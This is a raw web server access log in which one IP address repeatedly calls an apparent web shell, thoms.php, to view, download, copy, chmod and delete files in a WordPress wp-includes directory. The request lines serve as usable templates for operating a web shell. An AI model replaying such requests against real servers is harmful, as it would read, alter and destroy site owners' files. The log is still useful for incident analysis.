45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37980 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:18 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /bestzyx.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?chmod=assets&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=assets&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /bestzyx.com.tw/wp-includes/ HTTP/1.1" 200 9136 "https://163.245.207.76:443/bestzyx.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftheme.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?chmod=block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?del=connectors.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59297 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13187 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
147.185.132.25 - - [11/Sep/2026:23:18:19 -0400] "GET / HTTP/1.1" 200 3135 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
45.135.193.11 - - [11/Sep/2026:23:18:19 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11986 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fuser.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fuser.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fatomlib.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fatomlib.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?del=rest-api&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=rest-api&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /bestzyx.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59338 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?del=default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95683 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13894 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:20 -0400] "GET /thoms.php?del=php-ai-client&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24794 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13611 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /bestzyx.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 942 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcache-compat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcache-compat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11555 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?del=IXR&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59356 "http://163.245.207.76:443/thoms.php?del=IXR&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:21 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12875 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpomo&p= HTTP/1.1" 200 12290 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fpomo&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?del=kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?del=theme-templates.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59315 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?chmod=ms-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frewrite.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11833 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frewrite.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fscript-loader.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fscript-loader.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:22 -0400] "GET /thoms.php?del=class-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59359 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /thoms.php?dl=class-wp-post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:23 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14574 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:24 -0400] "GET /thoms.php?del=class-wp-error.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59358 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13442 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:24 -0400] "GET /thoms.php?del=pluggable.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59157 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:24 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59242 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:24 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18078 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /bestzyx.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /bestzyx.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13124 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /bestzyx.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13504 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:18:25 -0400] "GET /thoms.php?del=Text&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59349 "http://163.245.207.76:443/thoms.php?del=Text&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
